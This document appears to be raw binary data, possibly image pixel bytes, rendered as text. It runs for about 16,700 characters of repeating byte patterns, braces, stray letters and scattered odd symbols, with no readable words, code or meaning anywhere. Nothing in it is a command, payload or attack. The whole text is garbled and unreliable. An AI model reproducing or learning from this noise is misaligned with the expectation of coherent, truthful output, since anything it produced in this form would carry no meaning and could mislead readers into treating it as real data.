{{{{{{{{ZZBJJJBcJZZa]YYc}BZ)ZBJ1ZZB{޵ތ)ZZޥ֔ťΔŭֵބRm{Jescykޥ΄Ji)AZ!=JJass{c}B]s:Qc)MZB]k1MZkyBYs)ER)IZ)EZ1IcsBYk!9JZQU]ae)qee=kk$B5B5B-B5B5B)5B!:1B5B5B1BRm{kkkkk5J-B5B5B)5B!MZsssssss s s s s s s s s s s s s s s sssssssssssssssssssskkkkkksk5({MQeeeaaaeaaaaaaaaaa]]](BRmZu!=J5B9J!AZ]]]]]]]]]]]]]]]aaaaae5B9JEJ)EB(B! !!:1B9J5J5B5J1B5B5B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B1B-B5B-B5B5B-B5B5B5B(B5B5B5B(B5B5B1B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AJ(Bkm{===A!M!ME1a!UM!Q1e!UMM!]MMMM!]!aUQQQQQQQUUUUUUUUY 15B5B5B-B5B5B5B5B)5B5B5B5B-B5B5B-B)5B5B5B5BAB)AB1!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B=9955511----(($$$ {{{{{{{{s s sssss1:iea]YYUUQQMIIEEEEMA=!I5:Y($ {s sńJ]sJa{sQQMQcqRe{JeťŜsu{}(s{ΔńRe{UY]auss:=!$ sss{{$B5B5B-B5B5B)5B!:-B5B5B5B:Qckksss!AR-B5B5B)5Bk s s s s s s s s s s s s s s s s s s s s s s s s s s s s s s ssssssssssssssskkkkkkksk$5]Yeeeeeaaaaaaaaaaa!=R)EZs5J9J5B)Icaaaaaaaaaaaaaaaaaaaaes5J5JEJ)EB(B! !!:1B9J5J5J5J1B5B5B(B5B5B-B5B5B)5B5B5B5B!5J-B1B1B1B-B5B-B5B5B-B5B5B5B(B5B5B5B(B5B5B1B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB(Bsu===A!M1]II)YM!U!U:iMM1iMMMMQ!]1m!eMMQQQQQUUUUUUUU$:5B5B5B-B5B5B5B5B)5B5B5B5B-B5B5B-B)5B5B1B5BAB)AB)!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5J5B5J99555111---(($$ {{{{{{{ss s ssssssqmqi)}]YYUUQQMIIEEAAAMA=9-($ {{{{s sske1]YiQMIA=95ks s{1($(-1)Y=AEUQQU1aaes s!(({{ (B5B5B-B5B5B)5B !:-B5B5B5B5Bsssss1IZ-B5B5B)5B) s s s s s s s s s s sssssssssssss s s s s s s s s s s s sssssssssssssskkkkkkkk s s1EUeaeeeaaaaaaaaRq)IZZy9J!AJ-J1Qcaaaaaaaaaaaaaaaaaaaae:Qc5B5BEJ)EB(B! !!:1J9J5J5J9J1J5B5B(B5B5B-B5B5B)5B5B5B5B!=J!9J-B1B1B-B5B-B5B5B-B5B!9J1J5B5B5B5B(B5B5B1B5B-B5B5B1B1B)5B5B5B5J-B1B1B-B)5B5J5B5BAB)AB(B==AE!Q1a!M1]!Q:eMQII!Y1eIMMQY)eYMMMMQQQQQQUUUUU1B5B5B5B-B5B5B5B5B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB1ku{!:-B5J5B5B5B-B1B1B(B5B5B-B5B5B)5J5B5B5B=955111--((($$ {{{{{{{{s s sssss1a:im)}m]YUUQMMIIEUIAAAAE!I5)I$ {{{{s sskeqm!qUYMIE=95ss s{-9!E115:iMUIQeY]eqs ss{($$(---111(B5B5B-B5B5B)5B !:-B5B5B5B5Bssss s1MZ-B5B5B)5B) s s sssssssssssssssssssssssssss s s s s s s s s s ssssssssssssssskkkkkkks$-Qeeeeeeeaaa1-B1Qc!AR-J:Ykaaaaaaaaaaaaaaaaaaeee5J5B5BEB)EB(B! !!:1B5J9J5B9J1B5B5B(B5B5B-B5B5B)5B5B5B5B!9J5B-B5J1B-B5B-B5B5B5J!=J)AR)Ic1IZ-J5J5B(B5B5B9J!=J!5J!9J5B1B1B)5B5B!=J!9J-B1B1B-B)5B5B1B5BAB)AB-JkmsZe==AEI:a!Q:i:i1eMIIIIIIIMU!]:qMMMMMMQQQQQQQQQUBUk9J1B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB1kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5J)5B5B5B5B=55111--((($$ {{{{{{{{{s s sssss{eeeei:!qiYUQMMIIEAE!Y)YIA1Y!I!E5( {{{s sskeaaeUeQIIA95s s{{{555E!Q=AE:y:}U]!ueE:9{{ $51)Q5599=AAA(B5B5B-B5B5B)5B !:-B5B5B5B5Bs s s s s)AR-B5B5B)5B)sssssss{{{{{{{{{{{{{{{{{{{{ssssss s s s s s s s s ssssssssssssssksskkkkk{Me]eeeeeeee 11J:Uc-J!=JB]{aaaaaaaaaaaaaaaaaeeee9J5J5BEB)EB!AZ! !!:1B5J9J5B5B1B5B1B(B5B5B-B5B5B)5B5B5B5B5B5B-B1B1J-B!9J1J!9J!9J1J!=J1J:Uc:Us!9R!9RB]k!9R5B5B:IZ1IZ1Ic1MZAR!9J5J1=J!=J!AR!=J-B5J1B-B)5B5B1B5BAB)AB1MkBEJ{==AEE!M:e)Y1a!Q!QIIEIIIII!YMMMMMMMMMQQQQQQQQQs!9J)5B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB)kq{!:1J5B5B5B5B-B1B1B(B5B5B-B5B5B)5J5B5B5B55111--((($$$ {{{{{{{{s s sssssseeaaai!qeaY1}QMIIEAEEAI!M)QA!E)I9(({{{s sskea]YieQMIA=5s s{{{(911Y!QAEIMYa]ey s{$$(5=)U!UAEIIMMQQ(B5B5B-B5B5B)5B !:-B5B5B5B5B s s s s s!9J-B5B5B)5B)s{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{sssssss s s s s s s s s ssssssssssssssskkks$(EUUeeeee9J5J)IZ(B!ARJieeeeaaeeeeeeeeeeeeeee5B5B5BEB)EBc}! !!:1B5B9J5B5B-B1B1B$B5B5B-B5B5B)5B5B5B5B5B5B-B1B1B-B5B-B5B5J!=R!9J(B!9J!=Z!5J9RJes)EcBYkZu{cy1Yk)IZ)EZ{)AR-B1B1B-B)5B5B1B5BAB)ABcycek=AAAE!I!Q:e1]:e:iMMEEEIIIIIIIIMMMMMMMQMQQQQQs!9J)5B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB)kq{!:1J5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5111--((($$$ {{{{{{{ss s sssss{eeaa]a1e:Y]aMIIEAAA==9=99=!A-$({{s sssea]YUa1yMMQQ9 s{{{{ (-9EEQMQU]mi { {(!9(19)YIMIMQUYY]]a(B5B5B-B5B5B)5B !:-B5B5B5B5B s ssss5B-B5B5B)5B){{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{sssssss s s s s s s s s sssssssssssssskkkk s{{1EEUe:UkBas1Qc(B)ER:Yseeeeeeeeeeeeeeeeeeeee5J5B5BEB)EB! !!:1B(: :1 )!!!!!!!!!!!!)))11) ) ):)-J)(JRUs15R!$BBAcZa{RUscesysuέέΜkus:Q:)1B1B-B)5B5B1B5BAB)AB{==AAEI1Y1a1]:i!UI)]EEEEEEIIIIIIIMMMMMMMMMMQQQ:Mc5B)5B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB)kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5J5B5B5B51---((($$$ {{{{{{{{s s sssss{eeaaa]]:]:Y:}QMIEAA==99555951!9 {{s sssUa]YYUQQ!])a!U=!( 1E$(-5ME1q]UY]e] {{!- $!A!I5=QQaUUY]a ksss$B5B5B-B5B5B)5B !:-B5B5B5B5Bsssss!9J-B5B5B)5B){{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{ssssss s s s s s s s s ssssssssssssskkkkkkss{1:Mck!AR(B)ER1Mkeeeeeeeeeeeeeeeeeeeee5B5B5BEB)EB)! !!:-B)))!) )!) )))))11)(JZUssu)1$19(:E!1)5)91=1=)51=((((-115)E1E1)1B1B-B)5B5B5J5BAB)AB{A=)Q!I1U:a)U!Q1Y:i!QEEEEEEEEEEIIIIIIIIMMMMMMMMMQ-B5B)5B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB1kq{!:1J5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B91--((($$$ {{{{{{{s s sssssseeaa]]]YYYeYU!aMEAA==9955111M-- {{{ sss e]]a]QMMQ!Y!Q:9{{$ $(-59E:uM!miae :M(!A==AIQ)u!maa{s ss{{{{(B5B5B-B5B5B)5B !:-B5B5B5B5Bss{{{)AR-B5B5B)5B){{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{ssssss s s s s s s s sssssssssssssskkkkkks)-Jcy5B(B)ER1Mkaeeeeeeeeeeeeeeeeeeee5B5B5BEB)EB)! !!:-BA1!1{ssssss s s { { {! { )- !($19()5!1:E)9!1--((---15)E)A1)1B1B-B)5B5B1B5BAB)ABkq{:YAA1Y:])Q!I!M!Q!M!QEAAAEEEEEEEEIIIIIIIMMMMMMMMM(B5B)5B5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB1kq{!:-B5J5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5BE1-(((($$$ {{{{{{{s s sssss{Ieaa]]a)yYYY]]YQUEAA=99511111(1 {{s sskea]aeeQMII)Y:9- 1Q(-59A:qMU]!y:11{!-$()I5E!UEMU]!u!sss{{{ $$((B5B5B-B5B5B)5B !:-B5B5B5B5B{{{{{1IZ-B5B5B)5B){{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{ssssss s s s s s s s ssssssssssssssskkkk!:)AZ!9J$B)AR)AZMQ]eaY]aeeeeeeeeeeeei5B5B5BEB)EB)! !!:-B${sssss s s { { {{{!$!${$  :A (((1=)9:I!1-------11!9:Q1)1B1B-B)5B5B1B5BAB)ABkq{A!M)M)U!IE!M!MI)UMAAAEAEEEEEEEIIIIIIIIIIMMMMM$:5B)9J5B-B5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB)AB1kq{!:-B5B5B5J5J-B1B1B(B5B5B-B5J5B)5J5B5B5B9--(($$$$($ {{{{{{s s s sssskYeaa]]]aa)uaYY:}]]IAA=99511-=51$:I  sssea]e]Y!iQM)aME19$-$(-59=EMQYaq! { )=1A=QMQ]!u!u] {{ $-1555(B5B5B-B5B5B)5B !:-B5B5B5B5B{{{{{1IZ-B5B5B)5B){{{{{{{{{ {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{sssss ss s s s s s ssssssssssssssssk!-B!=J(B)AR1Us (5AEAAEQ]ieeeeeaa]]]5B5B5BAB)AB))()!:-Bsu{ ssssss s s s { { {{{{{{!(!(!(  $)1)5)5!5)9!1!1!5---111!9)A111B1B-B)5B5B1B5BAB)AB1kq{syA)Q)Q1Y)QE!M!M:a1aAAAAAAAAEEEEEEEEEIIIIIIIIIII1EZ!AR)=J!9J1J5B5B1B1B)5B5B5B5B-B1B1B-B)5B5B1B5BAB:QR1kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B--((($$$ !5(({{{{{{s s ssssk-eea]]]Ya1}i)m1u)m!a)eQUA=99511--5!=$ $!( {ssea]YYUUQ!])eMA  )A$(-19=EIQU]m=!( (!==IQUU]iu{{{{ (159=EEE(B5B5B-B5B5B)5B !:-B5B5B5B5B{{{{{!AR-B5B5B)5B){{ { {{{{{{{{{{{{{{{{{{{{{{{sssssss s s s s s ss sssssssssssss ))AZ!9J-J)ERZusk{{ {-=MYeiie]UQIE5B1B5BAB)AB)BEJ !:-Bsqsssssss s s s { { {{{11{{{)1:A $:E!-)5!1!5!5)=11---151I1E:)1B1B-B)5B5B1B5BAB)AB1!E)Q!I1YEAIIAAAAAAAAAAAAEEEEEEEEIIIIIIIIIIk}Jes1AR1J5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BABs1kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5J5B)5B5B5B5B-(($$$$  $$ {{{{{{ s sssss{eeaa]]Y:eY]]U!e!])i1iIA=9551---:Q-(${s sea]YUQ!aMMEM=  ((-15=AIMU]a!{(:M1=E:mYUYeq!!(1$-59AIMUUQ(B5B5B-B5B5B)5B !:-B5B5B5B5B{{{{5J-B5B5B)5B) {{{{{{{{{{{{{{{{{{{sssssss s s s s s s s s sssssssssss15R:Uk5B-JARcykkks ssss s-=IQ]YQI=915B1B5BAB)AB){ !:-Bsssssss s s s { { { {{{{{{{19 !(!-!-(:E!-!11A)9!5!1!11115!9)A:11B1B-B)5B5B5J5BAB)AB1!I!I1U!I!EEAA)QAA=AAAAAAAAAAAEEEEEEEIIIIIIIIIc})AR5J5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB1kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5J5B)5B5B5B5B((($$$  (({{{{{{ sssss eeaa]]YY]UYUUUUYUQQM)U951--(-!=-!5{{{)-ssea]YUQMQIAM={!5$$(159AEMQY]is{$)EAE!U!Y!a])y:!  -19AIMUYaua(B5B5B-B5B5B)5B !:-B5B5B5B5B{{{{5B-B5B5B)5B) $$$$$$$$$$$$$$$$$ {{{{{{{{{{{{{{{{{{{{{sss s s s s s s s s ssssssssscaRe{5B!9J5R:Ukssssssssss{-9==95-$5B1B5BAB)AB)コ !:-Bssssssss s s s { { { {{{{{{{!(1=)5$$)9-)91=!1:E!5:I1A1I1!5!9:Q111B1B-B)5B5B1B5BAB)AB1:=B)I)M!EAA)MAA!M!M====AAAAAAAAAAAEEEEEEIQIIIIII!QBas)ER1J5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)kq{!:-B5B5B5B5B-B1B1B(J5B5B-B5J5B)5B5B5B5B(($$  $$!1 {{{ssss$]eaa]]YYUUUUQQQ)iQQ1i!UE:a511-(11!=)={{{ ss]a]YYUQMQEA=9{(1(-19=AIQU]es s{(:UA)U)a!eae::5 (19AIUYaI s{$B5B5B-B5B5B)5B !:-B5B5B5B5B{{ 5B-B5B5B)5B)$$$$$$$$$$$$$$$$$$$$$$$$$$ {{{{{{{{{{{{{{{{{{{{ssss s s s s s s s s sssssssRUsJ]s5B5B1R:Uckmssssssssssss{ $$$ {{5B1B5BAB)AB)kis !:-Bsssssssss s s { { { {{{{{{{{!(!-$(1=((!1!51E:I:M)=!9!1!5!5)=111B1B-B)5B5B1B5BAB)AB1RUZ:Y1Q)IA===:a!I========AAAAAAAAAEEEEEEMUIIEEE)EZ!AR-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5J5B)5B5B5B5B($$$ )={{s{ sss]i:aa]YYYUUQQQQU!]M1iEA=951--(((:I({{ sssea]YUQMIEA=9{{)51I(-15=IEMUYaqs{ -5AQ)e)m)y!u1{( (19AMU]es{$)={$B5B5B-B5B5B)5B !:-B5B5B5B5B 5B-B5B5B)5B)$$$$(((((((((((((((($$$$$$$$$$ {{{{{{{{{{{{{{{{{{sssss s s s s s s s ssssss!$B)AZ5B5B(BB]kssssssssssssssss{{{{{{5B1B5BAB)AB)kis !:-Bsssssssss s s { { { {{{{{{{{{ ( $!1(((!-1E)91E)=!5!5!5!5!9111B1B-B)5J5B1B5BAB)AB11U:]!AA===============AAAAAAAAAAEEE:mMIEEEE)EZ)AR-B5B5B5J1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B$$$  ({{{ s s15 {ssBQk:Qcsuks)AZB]sUQRi)=Rk})aMI :$B551MΥΌŔťŌŔŜΥ֔ŜQMEAA95{{ -51A9A1iIQ1]eQ{{$1=I)])e1ymm {{$-9AIU]m{{$1-(B5B5B-B5B5B)5B !:-B5B5B5B5B$ $5B-B5B5B)5B)((((((((((((((((((((((((($$$$$$$$ {{{{{{{{{{{{{{{{{{{sssss s s s s s s s sssss11J5B!9J-J1MZssssssssssssssssss s s ss5B1B5BAB)AB)kis !:-Bsssssssss s s { { { {{{{{{{{{   $:E$$(-!11A1E1E:I!5!5!5!9111B1B-J)5B5B1B5BAB)AB1Ŕ1Q===999==9============AAAAAAAAEE!Y!]!YEEE1Qc!=J-B5J5J5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)kq{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B$$ {{{{!1({{15{ s!$sJZBasB]kRqJk}Ji{Jes{J{1Mc)9JRm{ZZu{(B! !JUc)aBބ{BYkJa{Jas1Qcc}{1IckJi{BUcJq{s{Ri{JiscyJ机ŔZB֭Z1ZBZJJZJZZ1JJZZJJRJ!yu{ (5=EQYe {!1 (5!Q!M(B5B5B-B5B5B)5B !:-B5B5B5B5B $$$5B-B5B5B)5B)(((((------------(--(((((((($($$$$$ {{{{{{{{{{{{{{{{{{{ssss s s s s s s s s sss1-B5B!=J5R1IZsssssssssssssssssssss5B1B5BAB)AB)kis !:-Bsssssssss s s { { { {{{{{{{{{   )5$$((!1)5:M)91A!9!9!5!9111B1B-B)5B5B1B5BAB)AJ1kq{!E1Q9999999999============AAAAAAAE!Q!U!UEEEJi{5B-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)km{!:-B5B5B5B5B-B1B1B(B5B5B-J5B5B)5B5B5B5B$ 1E {{{{{:E{{:={ s{sJZ!AR:UcBas)Uc1QcJe{{BYk!9JRqZuZyބZy{9J{k1ky)aB1Yk1IZ!AR1Mc:Uk)AR)EcRq:Qc-BRm{B]k)9J9J!9J)AR!9J)AR9J5JRms)ER)ER-J!=JZuJasRi{)AcRi{k΄{֔ńc{JZJJRJqe $-9AMU]{$(5IYA(B5B5B-B5B5B)5B !:-B5B5B5B5B$$$$$5B-B5B5B)5B)(------------------------((((((($$$$$ {{{{{{{{{{{{{{{{{sssss s s s s s s s s ss!$B1J5B!9J)AR1Icsssssssssssssssssssss5B1B5BAB)AB)kis !:-Bssssssss s s s { { { {{{{{{{{{  $$$(()=!11A!51E:I:I1E!9111B1B-B)5B5B1B5BAB)AB1kq{)M=99999999999999====:e======AAAAA1aM)Y!UEAAky!9J1J5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)km{!:-B5B5B5B5B-B1B1B(B5B5B-J5B5B)5B5B5B5B   1E{{{{{{19{{{)( {s1B9J5B5B!ARJi{J]k5B5B-B1B1B1Mck}5B1B:]c)AB1! !R]k)]B!ER5B5B-B1B1B!=ZJes)AR-BJi{1Qc)5B5B5B!9J5B5B-B1B!=R)ER5B5B-B5B)AZ5B5B5B-B=JBYk)AZ:UcJes)5B5B1J)ER5B5BR5B5B-B5BJJm :E(1IIMUas{1-=QYs$B5B5B-B5B5B)5B !:-B5B5B5B5B$$((5B-B5B5B)5B)---------1--11-------------((((((($$$$$ {{{{{{{{{{{{{{{{{{ssss s s s s s s s s sJMk5J5B5B5B:Qksssssssssssssssssssss5B1B5BAB)AB)kis !:!=Rssssssss s s s { { { {{{{{{{{{   $$$(!--1A!11E)=:M)=!9111B1B-B)5B5B1B5BAB)AB1kq{)I=9999999999999=9==B]΄R]{!1J1))))))1111:111!9J!9J-B5B5B5B1B1B)5B5B!9J-B1B1B1B-B)5B5B1B5BAB)km{!:-B5B5B5B5B-B1B1B(B5B5B-B5J5B)5B5B5B5B  -( {{{{  {{ {AZZ5J5B5B5B9J)IZ)9J5B5B-B1B1B9JJ]k5B1BBasEJ)EJ1! !!1B)]B9J5B5B-B1B1B1J:Uc!5J-BBas!AR)5B5B5B5B9J!=J-B1B5J!=J5B5B-B5B-B5B5B5B1J5B1J!9J!9J5J5B5J1J5J5B5BcJs5B5B-B5JJRq{)11E1I51]UQ:es{1M1A1qYa(B5B5B-B5B5B)5B !:-B5B5B5B5B((((5B-B5B5B)9J)--11111111111111111111-------(((((($$$$$$ {{{{{{{{{{{{{{{{{s{ss s s s s s s s s{)AR-B5B5BBYssssssssssssssssssssss5B1B5BAB)AB)kis !:Zmssssssss s s { { { { {{{{{{{{{   $$$((-1A!1!11A:I1E)=111B1B-B)5B5B1B5JAB)AB1ci{=999599:Ec!1J11=ZJUk:Ec1BIc!-J))):)))))))))))1:)1)))))5B5B-B5B5B5B1B1B)5B5B)IZ-B1B1B1B-B)5B5B1B5BAB)km{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B   -   {{{{11{{)$ {!=mZZ!AZ5B9J5B5B)IZ)5B5B5B-B1B1B1BJa{1=J5B1BkAB)AB1)()!1]B5B5B5B-B1B1B(J)ER5B-B5B5B)5B5B5B5B!9J!9J-B1B-B5B5B5J-B5B5B-B5B5B5J5B-B5B)5B5B5J5B1B9J5B5B1IZJ:IZ5B5B-B5JJJq{$1I9I!YU]ms{!91=!]QU(B5B5B-B5B5B)5B !:-B5B5B5B5B((--5B-B5B5BZes)11111111111111111111111111-----(((((($$$$$ {{{{{{{{{{{{{{{{{{sss s s s s s s s1MZ-B5B5BRissssssssssssssssssssss5B1B5BAB)AB)kis !:ssssssss s s { { { {{{{{{{{{{{   $$$((-!-!1)9)=1E1I!(B11B1B-B)5B5B1B5BAB)AB15k5999ZZ!=R)ER1B-J)ER!=J-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B1B1B5B5B-B5B5B5B1B1B)5B5B:Uk-B1B1B1B-B)5B5B1B5BAB)km{!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B   $$-{{{{1511{{)({:mZZ1B5B5B9J5B)MZ)5B5B5B-B1B1B1B-B)5B5B1BRqAB)AB1BEJ !1]B5B5B5B-B1B1B$B5B5B-B5B5B)5B5B5B5B9J5B-B1B-B5B5B!9J-B5B5B1J5B5B!=R9J-B5B5B5J5B9J1B5B5B5B1Bk)5B5B!9J-J5BJJq {{-)M!MMY])} {{(19AEI(B5B5B-B5B5B)5B !:-B5B5B5B5B----5B-B5B5B)1115555555555555551111111111-----((((($$$$ {{{{{{{{{{{{{{{{ssss s s s s s s {BYk5B-B5BRi{ssssssssssssssssssssss5B1B5BAB:QR)kis !:kssssssss s s { { { { {{{{{{{{{{{   $$$((--!1!1)9)91Ece11B1B-B)5B5B1B5BAB)AB1RQR5k5555ZZ1Mc:Uk!AR5R)IZ)AR-B5B5J)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5J-B5B5B5B1B1B)5B!9J:Uc1J1B1B1B-B)5B5B1B5BAB)km{!:-B5B5J5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B !5$ $)9{{{{)(! { {{q)mZZ1J5B5B5B5B!=J)5B5B5B-B1B1B1B-B)5B5B1BkAB)AB1!1]B5B5B5B-B1B1B$B5B5B1B5B5B)5B5B5B5B)ER-B1B1B1J5J5B5J1J!=J!=J!9J-B!=J!=J1J-B!=J)EZ9J!9J)AR5J9J!9J5B1B)IZ)5B5B1IZ-B5BJJq${$)M1U!UY!i:m{()E599(B5B5B-B5B5B)5B !:-B5B5B5B5B-----5B-B5B5B)555555555559595555555551111111-----((((($$$$ {{{{{{{{{{{{{{{{{{{ss s s s s s s:Uc5B-B5B)ERsssssssssssssssssssss5B1B5BABs)kis !:Bssssssss s { { { { { {{{{{{{{{{{   $$$((--!1!1!5)9:M11B1B-B)5B5B1B5BAB)AB1ceks5559ZZ-J1B1B!=ZRi{)AR-JJas1Qc)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B9J1B1B)5B!=JBYk1J1B1B1B-B)5B5B1B5BAB1km{ !:-B5B5B5B!9J)AZBas1B(B5B5B-B5B5B)5B5B5B5B $!1)9!1)1:E{{{{{{)(:5$y1qZZ1B9J5B5B5B5J)5B5B5B-B1B1B1B-B)5B5B1Bc}AB)AB1!1]B5B5B5B-BJi5B5B1B)ARk{5B5B5B5B1J)IZ1Qc-B5B5B5B-B5B5B5B-J5B!AR1J-J9J5B5J1IZRqB]s:Qc5J5B1B1B)5B)ERcy-B5BJJ1q {{--=EQYe!y1!11A(5-(B5B5B-B5B5B)5J !:-B5B5B5B5B---1k5B-B5B5B)55599999999999999555555555111111----((((($$$$ {{{{{{{{{{{{{{{{{{ss s s s s s s1IZ5B-B5BBUksssssssssssssssssssss5B1B5BAB)kis !:Bssssssss s { { { { { { {{{{{{{{{   $1=$((-!1!1!1!5)9)=1E11B1B-B)5B5B1B5BAB)AB1su{5k555:QZZ-B1B1B1JBYk!9J-B:Qc!AR)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-J5B5B1B5B5B9J-B5B!9J=J1B1B)5B1IZBak5J1B1B1B-B)5B5J1B5BAB1km{ !:-B5B5B!ARBYkZq!=R(B5B5B-B5B5B)5B5B5B5B:I ( ({{{{{ {{1Ei))!yZZ1J5J5B5B5B5B)5B5B5B-B1B1B1B-B)5B5B1BJesAB)AB1kq{!1aB5B5B5B-Bsu )!)1!9Jc}Je{1 :1))11))) :!11)1R1$B:Ec:Ec::(B$::Uk{Ŕ!):Uk1B)5B1MZ)EZ1BJJ:1 {{$1AA)e:]!}Q($(B5B5B-B5B9J)5B !:-B5B5B5B5B=111k5B5B-B5B)599999999999999999999555555111111----((((($$$$ {{{{{{{{{{{{{{{{{ssss s s s!=R5B5B-Bsssssssssssssssssssss5B1B5BAB)kis !:Bsssssssss {:5!  { { { { {{{{{{{{ 15  $$!1(((!-!1!1!11E)=)=1A11B1B-B)5B5B1B5BAB)AB15k555)EZZ-B1B1B(J1MZ5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B-B5B5B5B5B1B1B5B5B-B9J9J5B5J1B1=J!=J1IZ!9R)EZ)IZ!AR1J)=J!AR5J5B!EJ1km{s1]JZqcZk{挪JecyZq:Uc-B5B)5B5B5B5B :A{{{ { { { {$i!}:1:Zc1J9J5B5B5B1B)5B5B5B-B1B1B1B-B)5B5B1B!AJAB)ABkq{!1aBRi{5B5B5B-B!))! :111 : :11$B:1)9RRa{s:U19:A1=:M55=AE)aMQUme)!Ji{!=R)5B)ARRm1BJJ!mi1 {{$19IMU]:)11)(19(B5B5B5B1B5B)5B !:-B5B5B5B5B11555B5B-B5B)9999=============99999995555511111----((((($$$$ {{{{{{{{{{{{{{{{{{sss s s s!5J5B5B5Bssssssssssssssssssssss5B1B5BAB)kis !:Bssssssss s {{{ { { {{{{{{{{!$  1=!-19(:A!-:I:E)5)9:I1A:I:I11B1B-B)5B5B1B5BAB:QR1su5k559!=ZZ-B1B1B(B!9J5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5J-B5J5J1B1B5B5B5B-B5B5J5B1B5J)5B5J)AR!=R!AR!=R!=R)EZkyk!AR)MR1km{Zi{:-BRm{1Zc}9J)EZc}ŽZq-B5B)5B5B5B5B)1{{ { { { {qy!)uZc1B5B5B5B5B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)ABkq{!1]B5B5B5B5BJsieeaYU:QIEAIE1YA=$:A:E!5119=AIIMU!ui 1!Rm{5J)5B!=Jk5JJJ)uiq$ {{$-=AIU)u:mi)q(J5B5B5B-B5B)5B !:-B5B5B5B9J15555B5B-B5B)9====================99999955551111----((((($$$ {{{{{{{{{{{{{{{{{ssss s s5B5B5B5JBssssssssssssssssssssss5B1B5BAB)kis !:Bssssssss{1-1-!$ { { {{{{{{{{!$!(!(!-$!(:A:=!(19!-)9:A1=1A:I)=:I1=11B1B-B)5B5B1B5BABs1kq{5k55!AZZ-B1B1B(B5B5B5B-B5B)5B5B5B5J)))))))11)))))1:1))) :!1J)1(B)9R1 : :1=RRa{BQkJUsR]{ky{!AJacq{11-:M$B)Ze!A9!=:AZ)1J{5(19R)5B)5B5B5B5B)-)1{)({mu11:!yZZ-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B5BAB)ABkq{!1aB5B5B5B5BJ{ {{ieamiYaQIIEA!QA:Y9:5:A!-!95-1=9AMIQ)y]:Qk11B5J1AR!=Js!ARJJ)maaes{{$-5:mU1ma:]Y!u(B5B5B5B-B5B)5B !:-B5B5B5B)ER55595B5B-B5B)=======A=AAAAA=========99999955551111---(((($$$$ {{{{{{{{{{{{{{{{{ssss s s{!9J5B5B5BBssssssssssssssssssssss5B1B5BAB)kis !:Bssssssss s {:9{ { { {{{{{{{ 15  !( )-15:A!-!-1=)5:E1=)5)9:A)9)91=11B1B-B)5B5B1B5BAB1kq{5kBU1I!9)AZZ-B1B1B(B5B5B5B-B5B)5B5Bc}Ri{!1J{19R)5R$B1)1)):)111!-JciZq!I=999E!I!E!I591U=1U!I!E5=511------191(((:QJU:Q)-J)5B)5B5B5B)ER{:=:9:9{{)(:=!a1!:!})}!uZB5B5B5B5B5B1B5B5B5B-B5J1B1B-B)5B5B1B5BAB)AB1km{!1]B5B5B5B5BB{{ sAieai]Y:}QMUIAA!I:Y1M:5 )=((-!I59AEMUY])AR!9JJZZc)IZJJ1m!ea]es s{$-A!Q)aMMQMM(J5B5B5B-B5B)5B !:-B5B5B5B:Uc555995B5B-B5B)==AAAAAAAAAAAAAAAA=======999955555111----(((($$$ {{{{{{{{{{{{{{{{{sss s s1=R5B5B5BBsssssssssssss! s{ssssss5B1B5BABcki{ !:B {sssssss s {! {{{{{{{{{{{{ !$ )-  